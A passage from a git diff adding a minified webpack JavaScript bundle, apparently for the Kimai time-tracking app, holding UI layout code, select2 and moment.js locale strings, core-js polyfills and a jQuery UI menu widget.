e=t(".main-footer").outerHeight()||0,n=t(a).outerHeight()||0,i=n+e,l=t(window).height(),u=t(s).outerHeight()||0;if(t("body").hasClass(c))t(o).css("min-height",l-e);else{var d;d=u+n<=l?(t(o).css("min-height",l-i),l-i):(t(o).css("min-height",u),u);var f=t(".control-sidebar");void 0!==f&&f.height()>d&&t(o).css("min-height",f.height())}},e.prototype.fixSidebar=function(){t("body").hasClass(c)?this.options.slimscroll&&void 0!==t.fn.slimScroll&&0===t(".main-sidebar").find("slimScrollDiv").length&&t(s).slimScroll({height:t(window).height()-t(a).height()+"px"}):void 0!==t.fn.slimScroll&&t(s).slimScroll({destroy:!0}).height("auto")};var d=t.fn.layout;t.fn.layout=u,t.fn.layout.Constuctor=e,t.fn.layout.noConflict=function(){return t.fn.layout=d,this},t(window).on("load",(function(){u.call(t("body"))}))}(t)}).call(this,n("EVdn"))},qQBl:function(t,e,n){(function(t){!function(){if(t&&t.fn&&t.fn.select2&&t.fn.select2.amd)var e=t.fn.select2.amd;e.define("select2/i18n/es",[],(function(){return{errorLoading:function(){return"No se pudieron cargar los resultados"},inputTooLong:function(t){var e=t.input.length-t.maximum;return"Por favor, elimine "+e+" car"+(1==e?"ácter":"acteres")},inputTooShort:function(t){var e=t.minimum-t.input.length;return"Por favor, introduzca "+e+" car"+(1==e?"ácter":"acteres")},loadingMore:function(){return"Cargando más resultados…"},maximumSelected:function(t){var e="Sólo puede seleccionar "+t.maximum+" elemento";return 1!=t.maximum&&(e+="s"),e},noResults:function(){return"No se encontraron resultados"},searching:function(){return"Buscando…"},removeAllItems:function(){return"Eliminar todos los elementos"}}})),e.define,e.require}()}).call(this,n("EVdn"))},qxPZ:function(t,e,n){var i=n("tiKp")("match");t.exports=function(t){var e=/./;try{"/./"[t](e)}catch(n){try{return e[i]=!1,"/./"[t](e)}catch(t){}}return!1}},rB9j:function(t,e,n){"use strict";var i=n("I+eb"),r=n("kmMV");i({target:"RegExp",proto:!0,forced:/./.exec!==r},{exec:r})},rW0t:function(t,e,n){"use strict";var i=n("glrk");t.exports=function(){var t=i(this),e="";return t.global&&(e+="g"),t.ignoreCase&&(e+="i"),t.multiline&&(e+="m"),t.dotAll&&(e+="s"),t.unicode&&(e+="u"),t.sticky&&(e+="y"),e}},rpNk:function(t,e,n){"use strict";var i,r,o,a=n("0Dky"),s=n("4WOD"),l=n("kRJp"),c=n("UTVS"),u=n("tiKp"),d=n("xDBR"),f=u("iterator"),h=!1;[].keys&&("next"in(o=[].keys())?(r=s(s(o)))!==Object.prototype&&(i=r):h=!0);var p=null==i||a((function(){var t={};return i[f].call(t)!==t}));p&&(i={}),d&&!p||c(i,f)||l(i,f,(function(){return this})),t.exports={IteratorPrototype:i,BUGGY_SAFARI_ITERATORS:h}},"s+uk":function(t,e,n){!function(t){"use strict";function e(t,e,n,i){var r={m:["eine Minute","einer Minute"],h:["eine Stunde","einer Stunde"],d:["ein Tag","einem Tag"],dd:[t+" Tage",t+" Tagen"],w:["eine Woche","einer Woche"],M:["ein Monat","einem Monat"],MM:[t+" Monate",t+" Monaten"],y:["ein Jahr","einem Jahr"],yy:[t+" Jahre",t+" Jahren"]};return e?r[n][0]:r[n][1]}t.defineLocale("de-at",{months:"Jänner_Februar_März_April_Mai_Juni_Juli_August_September_Oktober_November_Dezember".split("_"),monthsShort:"Jän._Feb._März_Apr._Mai_Juni_Juli_Aug._Sep._Okt._Nov._Dez.".split("_"),monthsParseExact:!0,weekdays:"Sonntag_Montag_Dienstag_Mittwoch_Donnerstag_Freitag_Samstag".split("_"),weekdaysShort:"So._Mo._Di._Mi._Do._Fr._Sa.".split("_"),weekdaysMin:"So_Mo_Di_Mi_Do_Fr_Sa".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY HH:mm",LLLL:"dddd, D. MMMM YYYY HH:mm"},calendar:{sameDay:"[heute um] LT [Uhr]",sameElse:"L",nextDay:"[morgen um] LT [Uhr]",nextWeek:"dddd [um] LT [Uhr]",lastDay:"[gestern um] LT [Uhr]",lastWeek:"[letzten] dddd [um] LT [Uhr]"},relativeTime:{future:"in %s",past:"vor %s",s:"ein paar Sekunden",ss:"%d Sekunden",m:e,mm:"%d Minuten",h:e,hh:"%d Stunden",d:e,dd:e,w:e,ww:"%d Wochen",M:e,MM:e,y:e,yy:e},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n("wd/R"))},sEFX:function(t,e,n){"use strict";var i=n("AO7/"),r=n("9d/t");t.exports=i?{}.toString:function(){return"[object "+r(this)+"]"}},sMBO:function(t,e,n){var i=n("g6v/"),r=n("m/L8").f,o=Function.prototype,a=o.toString,s=/^\s*function ([^ (]*)/;i&&!("name"in o)&&r(o,"name",{configurable:!0,get:function(){try{return a.call(this).match(s)[1]}catch(t){return""}}})},sZbX:function(t,e,n){"use strict";n.d(e,"a",(function(){return r}));n("eoL8");function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}var r=function(){function t(e){!function(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}(this,t),this._configurations=e}var e,n,r;return e=t,(n=[{key:"get",value:function(t){return this._configurations[t]}},{key:"has",value:function(t){return t in this._configurations}}])&&i(e.prototype,n),r&&i(e,r),t}()},tGlX:function(t,e,n){!function(t){"use strict";function e(t,e,n,i){var r={m:["eine Minute","einer Minute"],h:["eine Stunde","einer Stunde"],d:["ein Tag","einem Tag"],dd:[t+" Tage",t+" Tagen"],w:["eine Woche","einer Woche"],M:["ein Monat","einem Monat"],MM:[t+" Monate",t+" Monaten"],y:["ein Jahr","einem Jahr"],yy:[t+" Jahre",t+" Jahren"]};return e?r[n][0]:r[n][1]}t.defineLocale("de",{months:"Januar_Februar_März_April_Mai_Juni_Juli_August_September_Oktober_November_Dezember".split("_"),monthsShort:"Jan._Feb._März_Apr._Mai_Juni_Juli_Aug._Sep._Okt._Nov._Dez.".split("_"),monthsParseExact:!0,weekdays:"Sonntag_Montag_Dienstag_Mittwoch_Donnerstag_Freitag_Samstag".split("_"),weekdaysShort:"So._Mo._Di._Mi._Do._Fr._Sa.".split("_"),weekdaysMin:"So_Mo_Di_Mi_Do_Fr_Sa".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY HH:mm",LLLL:"dddd, D. MMMM YYYY HH:mm"},calendar:{sameDay:"[heute um] LT [Uhr]",sameElse:"L",nextDay:"[morgen um] LT [Uhr]",nextWeek:"dddd [um] LT [Uhr]",lastDay:"[gestern um] LT [Uhr]",lastWeek:"[letzten] dddd [um] LT [Uhr]"},relativeTime:{future:"in %s",past:"vor %s",s:"ein paar Sekunden",ss:"%d Sekunden",m:e,mm:"%d Minuten",h:e,hh:"%d Stunden",d:e,dd:e,w:e,ww:"%d Wochen",M:e,MM:e,y:e,yy:e},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n("wd/R"))},tiKp:function(t,e,n){var i=n("2oRo"),r=n("VpIT"),o=n("UTVS"),a=n("kOOl"),s=n("STAE"),l=n("/b8u"),c=r("wks"),u=i.Symbol,d=l?u:u&&u.withoutSetter||a;t.exports=function(t){return o(c,t)&&(s||"string"==typeof c[t])||(s&&o(u,t)?c[t]=u[t]:c[t]=d("Symbol."+t)),c[t]}},tkto:function(t,e,n){var i=n("I+eb"),r=n("ewvW"),o=n("33Wh");i({target:"Object",stat:!0,forced:n("0Dky")((function(){o(1)}))},{keys:function(t){return o(r(t))}})},tycR:function(t,e,n){var i=n("A2ZE"),r=n("RK3t"),o=n("ewvW"),a=n("UMSQ"),s=n("ZfDv"),l=[].push,c=function(t){var e=1==t,n=2==t,c=3==t,u=4==t,d=6==t,f=7==t,h=5==t||d;return function(p,m,g,y){for(var v,b,w=o(p),_=r(w),k=i(m,g,3),x=a(_.length),S=0,D=y||s,M=e?D(p,x):n||f?D(p,0):void 0;x>S;S++)if((h||S in _)&&(b=k(v=_[S],S,w),t))if(e)M[S]=b;else if(b)switch(t){case 3:return!0;case 5:return v;case 6:return S;case 2:l.call(M,v)}else switch(t){case 4:return!1;case 7:l.call(M,v)}return d?-1:c||u?u:M}};t.exports={forEach:c(0),map:c(1),filter:c(2),some:c(3),every:c(4),find:c(5),findIndex:c(6),filterOut:c(7)}},u2me:function(t,e,n){(function(t){!function(){if(t&&t.fn&&t.fn.select2&&t.fn.select2.amd)var e=t.fn.select2.amd;e.define("select2/i18n/pl",[],(function(){var t=["znak","znaki","znaków"],e=["element","elementy","elementów"],n=function(t,e){return 1===t?e[0]:t>1&&t<=4?e[1]:t>=5?e[2]:void 0};return{errorLoading:function(){return"Nie można załadować wyników."},inputTooLong:function(e){var i=e.input.length-e.maximum;return"Usuń "+i+" "+n(i,t)},inputTooShort:function(e){var i=e.minimum-e.input.length;return"Podaj przynajmniej "+i+" "+n(i,t)},loadingMore:function(){return"Trwa ładowanie…"},maximumSelected:function(t){return"Możesz zaznaczyć tylko "+t.maximum+" "+n(t.maximum,e)},noResults:function(){return"Brak wyników"},searching:function(){return"Trwa wyszukiwanie…"},removeAllItems:function(){return"Usuń wszystkie przedmioty"}}})),e.define,e.require}()}).call(this,n("EVdn"))},u3GI:function(t,e,n){!function(t){"use strict";function e(t,e,n,i){var r={m:["eine Minute","einer Minute"],h:["eine Stunde","einer Stunde"],d:["ein Tag","einem Tag"],dd:[t+" Tage",t+" Tagen"],w:["eine Woche","einer Woche"],M:["ein Monat","einem Monat"],MM:[t+" Monate",t+" Monaten"],y:["ein Jahr","einem Jahr"],yy:[t+" Jahre",t+" Jahren"]};return e?r[n][0]:r[n][1]}t.defineLocale("de-ch",{months:"Januar_Februar_März_April_Mai_Juni_Juli_August_September_Oktober_November_Dezember".split("_"),monthsShort:"Jan._Feb._März_Apr._Mai_Juni_Juli_Aug._Sep._Okt._Nov._Dez.".split("_"),monthsParseExact:!0,weekdays:"Sonntag_Montag_Dienstag_Mittwoch_Donnerstag_Freitag_Samstag".split("_"),weekdaysShort:"So_Mo_Di_Mi_Do_Fr_Sa".split("_"),weekdaysMin:"So_Mo_Di_Mi_Do_Fr_Sa".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY HH:mm",LLLL:"dddd, D. MMMM YYYY HH:mm"},calendar:{sameDay:"[heute um] LT [Uhr]",sameElse:"L",nextDay:"[morgen um] LT [Uhr]",nextWeek:"dddd [um] LT [Uhr]",lastDay:"[gestern um] LT [Uhr]",lastWeek:"[letzten] dddd [um] LT [Uhr]"},relativeTime:{future:"in %s",past:"vor %s",s:"ein paar Sekunden",ss:"%d Sekunden",m:e,mm:"%d Minuten",h:e,hh:"%d Stunden",d:e,dd:e,w:e,ww:"%d Wochen",M:e,MM:e,y:e,yy:e},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n("wd/R"))},uL8W:function(t,e,n){n("I+eb")({target:"Object",stat:!0,sham:!n("g6v/")},{create:n("fHMY")})},vBzC:function(t,e,n){var i,r,o;r=[n("EVdn"),n("Qwlt")],void 0===(o="function"==typeof(i=function(t){return t.ui.keyCode={BACKSPACE:8,COMMA:188,DELETE:46,DOWN:40,END:35,ENTER:13,ESCAPE:27,HOME:36,LEFT:37,PAGE_DOWN:34,PAGE_UP:33,PERIOD:190,RIGHT:39,SPACE:32,TAB:9,UP:38}})?i.apply(e,r):i)||(t.exports=o)},vbVy:function(t,e,n){(function(t){!function(){if(t&&t.fn&&t.fn.select2&&t.fn.select2.amd)var e=t.fn.select2.amd;e.define("select2/i18n/cs",[],(function(){function t(t,e){switch(t){case 2:return e?"dva":"dvě";case 3:return"tři";case 4:return"čtyři"}return""}return{errorLoading:function(){return"Výsledky nemohly být načteny."},inputTooLong:function(e){var n=e.input.length-e.maximum;return 1==n?"Prosím, zadejte o jeden znak méně.":n<=4?"Prosím, zadejte o "+t(n,!0)+" znaky méně.":"Prosím, zadejte o "+n+" znaků méně."},inputTooShort:function(e){var n=e.minimum-e.input.length;return 1==n?"Prosím, zadejte ještě jeden znak.":n<=4?"Prosím, zadejte ještě další "+t(n,!0)+" znaky.":"Prosím, zadejte ještě dalších "+n+" znaků."},loadingMore:function(){return"Načítají se další výsledky…"},maximumSelected:function(e){var n=e.maximum;return 1==n?"Můžete zvolit jen jednu položku.":n<=4?"Můžete zvolit maximálně "+t(n,!1)+" položky.":"Můžete zvolit maximálně "+n+" položek."},noResults:function(){return"Nenalezeny žádné položky."},searching:function(){return"Vyhledávání…"},removeAllItems:function(){return"Odstraňte všechny položky"}}})),e.define,e.require}()}).call(this,n("EVdn"))},vh7O:function(t,e,n){},wCe6:function(t,e,n){var i,r,o;r=[n("EVdn"),n("vBzC"),n("Jchv"),n("yw1R"),n("y6ec"),n("Qwlt"),n("MIQu")],void 0===(o="function"==typeof(i=function(t){return t.widget("ui.menu",{version:"1.12.1",defaultElement:"<ul>",delay:300,options:{icons:{submenu:"ui-icon-caret-1-e"},items:"> *",menus:"ul",position:{my:"left top",at:"right top"},role:"menu",blur:null,focus:null,select:null},_create:function(){this.activeMenu=this.element,this.mouseHandled=!1,this.element.uniqueId().attr({role:this.options.role,tabIndex:0}),this._addClass("ui-menu","ui-widget ui-widget-content"),this._on({"mousedown .ui-menu-item":function(t){t.preventDefault()},"click .ui-menu-item":function(e){var n=t(e.target),i=t(t.ui.safeActiveElement(this.document[0]));!this.mouseHandled&&n.not(".ui-state-disabled").length&&(this.select(e),e.isPropagationStopped()||(this.mouseHandled=!0),n.has(".ui-menu").length?this.expand(e):!this.element.is(":focus")&&i.closest(".ui-menu").length&&(this.element.trigger("focus",[!0]),this.active&&1===this.active.parents(".ui-menu").length&&clearTimeout(this.timer)))},"mouseenter .ui-menu-item":function(e){if(!this.previousFilter){var n=t(e.target).closest(".ui-menu-item"),i=t(e.currentTarget);n[0]===i[0]&&(this._removeClass(i.siblings().children(".ui-state-active"),null,"ui-state-active"),this.focus(e,i))}},mouseleave:"collapseAll","mouseleave .ui-menu":"collapseAll",focus:function(t,e){var n=this.active||this.element.find(this.options.items).eq(0);e||this.focus(t,n)},blur:function(e){this._delay((function(){!t.contains(this.element[0],t.ui.safeActiveElement(this.document[0]))&&this.collapseAll(e)}))},keydown:"_keydown"}),this.refresh(),this._on(this.document,{click:function(t){this._closeOnDocumentClick(t)&&this.collapseAll(t),this.mouseHandled=!1}})},_destroy:function(){var e=this.element.find(".ui-menu-item").removeAttr("role aria-disabled").children(".ui-menu-item-wrapper").removeUniqueId().removeAttr("tabIndex role aria-haspopup");this.element.removeAttr("aria-activedescendant").find(".ui-menu").addBack().removeAttr("role aria-labelledby aria-expanded aria-hidden aria-disabled tabIndex").removeUniqueId().show(),e.children().each((function(){var e=t(this);e.data("ui-menu-submenu-caret")&&e.remove()}))},_keydown:function(e){var n,i,r,o,a=!0;switch(e.keyCode){case t.ui.keyCode.PAGE_UP:this.previousPage(e);break;case t.ui.keyCode.PAGE_DOWN:this.nextPage(e);break;case t.ui.keyCode.HOME:this._move("first","first",e);break;case t.ui.keyCode.END:this._move("last","last",e);break;case t.ui.keyCode.UP:this.previous(e);break;case t.ui.keyCode.DOWN:this.next(e);break;case t.ui.keyCode.LEFT:this.collapse(e);break;case t.ui.keyCode.RIGHT:this.active&&!this.active.is(".ui-state-disabled")&&this.expand(e);break;case t.ui.keyCode.ENTER:case t.ui.keyCode.SPACE:this._activate(e);break;case t.ui.keyCode.ESCAPE:this.collapse(e);break;default:a=!1,i=this.previousFilter||"",o=!1,r=e.keyCode>=96&&e.keyCode<=105?(e.keyCode-96).toString():String.fromCharCode(e.keyCode),clearTimeout(this.filterTimer),r===i?o=!0:r=i+r,n=this._filterMenuItems(r),(n=o&&-1!==n.index(this.active.next())?this.active.nextAll(".ui-menu-item"):n).length||(r=String.fromCharCode(e.keyCode),n=this._filterMenuItems(r)),n.length?(this.focus(e,n),this.previousFilter=r,this.filterTimer=this._delay((function(){delete this.previousFilter}),1e3)):delete this.previousFilter}a&&e.preventDefault()},_activate:function(t){this.active&&!this.active.is(".ui-state-disabled")&&(this.active.children("[aria-haspopup='true']").length?this.expand(t):this.select(t))},refresh:function(){var e,n,i,r,o=this,a=this.options.icons.submenu,s=this.element.find(this.options.menus);this._toggleClass("ui-menu-icons",null,!!this.element.find(".ui-icon").length),n=s.filter(":not(.ui-menu)").hide().attr({role:this.options.role,"aria-hidden":"true","aria-expanded":"false"}).each((function(){var e=t(this),n=e.prev(),i=t("<span>").data("ui-menu-submenu-caret",!0);o._addClass(i,"ui-menu-icon","ui-icon "+a),n.attr("aria-haspopup","true").prepend(i),e.attr("aria-labelledby",n.attr("id"))})),this._addClass(n,"ui-menu","ui-widget ui-widget-content ui-front"),(e=s.add(this.element).find(this.options.items)).not(".ui-menu-item").each((function(){var e=t(this);o._isDivider(e)&&o._addClass(e,"ui-menu-divider","ui-widget-content")})),r=(i=e.not(".ui-menu-item, .ui-menu-divider")).children().not(".ui-menu").uniqueId().attr({tabIndex:-1,role:this._itemRole()}),this._addClass(i,"ui-menu-item")._addClass(r,"ui-menu-item-wrapper"),e.filter(".ui-state-disabled").attr("aria-disabled","true"),this.active&&!t.contains(this.element[0],this.active[0])&&this.blur()},_itemRole:function(){return{menu:"menuitem",listbox:"option"}[this.options.role]},_setOption:function(t,e){if("icons"===t){var n=this.element.find(".ui-menu-icon");this._removeClass(n,null,this.options.icons.submenu)._addClass(n,null,e.submenu)}this._super(t,e)},_setOptionDisabled:function(t){this._super(t),this.element.attr("aria-disabled",String(t)),this._toggleClass(null,"ui-state-disabled",!!t)},focus:function(t,e){var n,i,r;this.blur(t,t&&"focus"===t.type),this._scrollIntoView(e),this.active=e.first(),i=this.active.children(".ui-menu-item-wrapper"),this._addClass(i,null,"ui-state-active"),this.options.role&&this.element.attr("aria-activedescendant",i.attr("id")),r=this.active.parent().closest(".ui-menu-item").children(".ui-menu-item-wrapper"),this._addClass(r,null,"ui-state-active"),t&&"keydown"===t.type?this._close():this.timer=this._delay((function(){this._close()}),this.delay),(n=e.children(".ui-menu")).length&&t&&/^mouse/.test(t.type)&&this._startOpening(n),this.activeMenu=e.parent(),this._trigger("focus",t,{item:e})},_scrollIntoView:function(e){var n,i,r,o,a,s;this._hasScroll()&&(n=parseFloat(t.css(this.activeMenu[0],"borderTopWidth"))||0,i=parseFloat(t.css(this.activeMenu[0],"paddingTop"))||0,r=e.offset().top-this.activeMenu.offset().top-n-i,o=this.activeMenu.scrollTop(),a=this.activeMenu.height(),s=e.outerHeight(),r<0?this.activeMenu.scrollTop(o+r):r+s>a&&this.activeMenu.scrollTop(o+r-a+s))},blur:function(t,e){e||clearTimeout(this.timer),this.active&&(this._removeClass(this.active.children(".ui-menu-item-wrapper"),null,"ui-state-active"),this._trigger("blur",t,{item:this.active}),this.active=null)},_startOpening:function(t){clearTimeout(this.timer),"true"===t.attr("aria-hidden")&&(this.timer=this._delay((function(){this._close(),this._open(t)}),this.delay))},_open:function(e){var n=t.extend({of:this.active},this.options.position);clearTimeout(this.timer),this.element.find(".ui-menu").not(e.parents(".ui-menu")).hide().attr("aria-hidden","true"),e.show().removeAttr("aria-hidden").attr("aria-expanded","true").position(n)},collapseAll:function(e,n){clearTimeout(this.timer),this.timer=this._delay((function(){var i=n?this.element:t(e&&e.target).closest(this.element.find(".ui-menu"));i.length||(i=this.element),this._close(i),this.blur(e),this._removeClass(i.find(".ui-state-active"),null,"ui-state-active"),this.activeMenu=i}),this.delay)},_close:function(t){t||(t=this.active?this.active.parent():this.element),t.find(".ui-menu").hide().attr("aria-hidden","true").attr("aria-expanded","false")},_closeOnDocumentClick:function(e){return!t(e.target).closest(".ui-menu").length},_isDivider:function(t){return!/[^\-\u2014\u2013\s]/.test(t.text())},collapse:function(t){var e=this.active&&this.active.parent().closest(".ui-menu-item",this.element);e&&e.length&&(this._close(),this.focus(t,e))},expand:function(t){var e=this.active&&this.active.children(".ui-menu ").find(this.options.items).first();e&&e.length&&(this._open(e.parent()),this._delay((function(){this.focus(t,e)})))},next:function(t){this._move("next","first",t)},previous:function(t){this._move("prev","last",t)},isFirstItem:function(){return this.active&&!this.active.prevAll(".ui-menu-item").length},isLastItem:function(){return this.active&&!this.active.nextAll(".ui-menu-item").length},_move:function(t,e,n){var i;this.active&&(i="first"===t||"last"===t?this.active["first"===t?"prevAll":"nextAll"](".ui-menu-item").eq(-1):this.active[t+"All"](".ui-menu-item").eq(0)),i&&i.length&&this.active||(i=this.activeMenu.find(this.options.items)[e]()),this.focus(n,i)},nextPage:function(e){var n,i,r;this.active?this.isLastItem()||(this._hasScroll()?(i=this.active.offset().top,r=this.element.height(),this.active.nextAll(".ui-menu-item").each((function(){return(n=t(this)).offset().top-i-r<0})),this.focus(e,n)):this.focus(e,this.activeMenu.find(this.options.items)[this.active?"last":"first"]())):this.next(e)},previousPage:function(e){var n,i,r;this.active?this.isFirstItem()||(this._hasScroll()?(i=this.active.offset().top,r=this.element.height(),this.active.prevAll(".ui-menu-item").each((function(){return(n=t(this)).offset().top-i+r>0})),this.focus(e,n)):this.focus(e,this.activeMenu.find(this.options.items).first())):this.next(e)},_hasScroll:function(){return this.element.outerHeight()<this.element.prop("scrollHeight")},select:function(e){this.active=this.active||t(e.target).closest(".ui-menu-item");var n={item:this.active};this.active.has(".ui-menu").length||this.collapseAll(e,!0),this._trigger("select",e,n)},_filterMenuItems:function(e){var n=e.replace(/[\-\[\]{}()*+?.,\\\^$|#\s]/g,"\\$&"),i=new RegExp("^"+n,"i");return this.activeMenu.find(this.options.items).filter(".ui-menu-item").filter((function(){return i.test(t.trim(t(this).children(".ui-menu-item-wrapper").text()))}))}})})?i.apply(e,r):i)||(t.exports=o)},wE6v:function(t,e,n){var i=n("hh1v");t.exports=function(t,e){if(!i(t))return t;var n,r;if(e&&"function"==typeof(n=t.toString)&&!i(r=n.call(t)))return r;if("function"==typeof(n=t.valueOf)&&!i(r=n.call(t)))return r;if(!e&&"function"==typeof(n=t.toString)&&!i(r=n.call(t)))return r;throw TypeError("Can't convert object to primitive value")}},wg0c:function(t,e,n){var i=n("2oRo"),r=n("WKiH").trim,o=n("WJkJ"),a=i.parseInt,s=/^[+-]?0[Xx]/,l=8!==a(o+"08")||22!==a(o+"0x16");t.exports=l?function(t,e){var n=r(String(t));return a(n,e>>>0||(s.test(n)?16:10))}:a},x6pH:function(t,e,n){!function(t){"use strict";t.defineLocale("he",{months:"ינואר_פברואר_מרץ_אפריל_מאי_יוני_יולי_אוגוסט_ספטמבר_אוקטובר_נובמבר_דצמבר".split("_"),monthsShort:"ינו׳_פבר׳_מרץ_אפר׳_מאי_יוני_יולי_אוג׳_ספט׳_אוק׳_נוב׳_דצמ׳".split("_"),weekdays:"ראשון_שני_שלישי_רביעי_חמישי_שישי_שבת".split("_"),weekdaysShort:"א׳_ב׳_ג׳_ד׳_ה׳_ו׳_ש׳".split("_"),weekdaysMin:"א_ב_ג_ד_ה_ו_ש".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D [ב]MMMM YYYY",LLL:"D [ב]MMMM YYYY HH:mm",LLLL:"dddd, D [ב]MMMM YYYY HH:mm",l:"D/M/YYYY",ll:"D MMM YYYY",lll:"D MMM YYYY HH:mm",llll:"ddd, D MMM YYYY HH:mm"},calendar:{sameDay:"[היום ב־]LT",nextDay:"[מחר ב־]LT",nextWeek:"dddd [בשעה] LT",lastDay:"[אתמול ב־]LT",lastWeek:"[ביום] dddd [האחרון בשעה] LT",sameElse:"L"},relativeTime:{future:"בעוד %s",past:"לפני %s",s:"מספר שניות",ss:"%d שניות",m:"דקה",mm:"%d דקות",h:"שעה",hh:function(t){return 2===t?"שעתיים":t+" שעות"},d:"יום",dd:function(t){return 2===t?"יומיים":t+" ימים"},M:"חודש",MM:function(t){return 2===t?"חודשיים":t+" חודשים"},y:"שנה",yy:function(t){return 2===t?"שנתיים":t%10==0&&10!==t?t+" שנה":t+" שנים"}},meridiemParse:/אחה"צ|לפנה"צ|אחרי הצהריים|לפני הצהריים|לפנות בוקר|בבוקר|בערב/i,isPM:function(t){return/^(אחה"צ|אחרי הצהריים|בערב)$/.test(t)},meridiem:function(t,e,n){return t<5?"לפנות בוקר":t<10?"בבוקר":t<12?n?'לפנה"צ':"לפני הצהריים":t<18?n?'אחה"צ':"אחרי הצהריים":"בערב"}})}(n("wd/R"))},xDBR:function(t,e){t.exports=!1},xrYK:function(t,e){var n={}.toString;t.exports=function(t){return n.call(t).slice(8,-1)}},xs3f:function(t,e,n){var i=n("2oRo"),r=n("zk60"),o=i["__core-js_shared__"]||r("__core-js_shared__",{});t.exports=o},y6ec:function(t,e,n){var i,r,o;r=[n("EVdn"),n("Qwlt")],void 0===(o="function"==typeof(i=function(t){return t.fn.extend({uniqueId:(e=0,function(){return this.each((function(){this.id||(this.id="ui-id-"+ ++e)}))}),removeUniqueId:function(){return this.each((function(){/^ui-id-\d+$/.test(this.id)&&t(this).removeAttr("id")}))}});var e})?i.apply(e,r):i)||(t.exports=o)},yLpj:function(t,e){var n;n=function(){return this}();try{n=n||new Function("return this")()}catch(t){"object"==typeof window&&(n=window)}t.exports=n},yNLB:function(t,e,n){var i=n("0Dky"),r=n("WJkJ");t.exports=function(t){return i((function(){return!!r[t]()||"​᠎"!="​᠎"[t]()||r[t].name!==t}))}},yXV3:function(t,e,n){"use strict";var i=n("I+eb"),r=n("TWQb").indexOf,o=n("pkCn"),a=[].indexOf,s=!!a&&1/[1].indexOf(1,-0)<0,l=o("indexOf");i({target:"Array",proto:!0,forced:s||!l},{indexOf:function(t){return s?a.apply(this,arguments)||0:r(this,t,arguments.length>1?arguments[1]:void 0)}})},yoRg:function(t,e,n){var i=n("UTVS"),r=n("/GqU"),o=n("TWQb").indexOf,a=n("0BK2");t.exports=function(t,e){var n,s=r(t),l=0,c=[];for(n in s)!i(a,n)&&i(s,n)&&c.push(n);for(;e.length>l;)i(s,n=e[l++])&&(~o(c,n)||c.push(n));return c}},yq1k:function(t,e,n){"use strict";var i=n("I+eb"),r=n("TWQb").includes,o=n("RNIs");i({target:"Array",proto:!0},{includes:function(t){return r(this,t,arguments.length>1?arguments[1]:void 0)}}),o("includes")},zBJ4:function(t,e,n){var i=n("2oRo"),r=n("hh1v"),o=i.document,a=r(o)&&r(o.createElement);t.exports=function(t){return a?o.createElement(t):{}}},zcCC:function(t,e,n){"use strict";n.r(e),function(t){n("pNMO"),n("4Brf"),n("07d7"),n("0oug"),n("4mDm"),n("PKPk"),n("3bBZ"),n("ExoC"),n("NBAS"),n("SuFq"),n("uL8W");var e,i,r=n("eFaj");function o(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function a(t,e){return(a=Object.setPrototypeOf||function(t,e){return t.__proto__=e,t})(t,e)}function s(t){var e=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(t){return!1}}();return function(){var n,i=c(t);if(e){var r=c(this).constructor;n=Reflect.construct(i,arguments,r)}else n=i.apply(this,arguments);return l(this,n)}}function l(t,e){return!e||"object"!==u(e)&&"function"!=typeof e?function(t){if(void 0===t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return t}(t):e}function c(t){return(c=Object.setPrototypeOf?Object.getPrototypeOf:function(t){return t.__proto__||Object.getPrototypeOf(t)})(t)}function u(t){return(u="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}e="undefined"!=typeof self?self:void 0,i=function(){return function(t){!function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function");t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,writable:!0,configurable:!0}}),e&&a(t,e)}(n,t);var e=s(n);function n(){return o(this,n),e.apply(this,arguments)}return n}(r.a)},"function"==typeof define&&n("PDX0")?define([],(function(){return e.KimaiWebLoader=i()})):"object"===u(t)&&t.exports?t.exports=i():e.KimaiWebLoader=i()}.call(this,n("3UD+")(t))},zk60:function(t,e,n){var i=n("2oRo"),r=n("kRJp");t.exports=function(t,e){try{r(i,t,e)}catch(n){i[t]=e}return e}}},[["1Wo5","runtime",0,1]]]);
\ No newline at end of file
diff --git a/public/build/app.cf7b7f85.css b/public/build/app.cf7b7f85.css
new file mode 100644
index 0000000000..0389ccd34d
--- /dev/null
+++ b/public/build/app.cf7b7f85.css
@@ -0,0 +1 @@
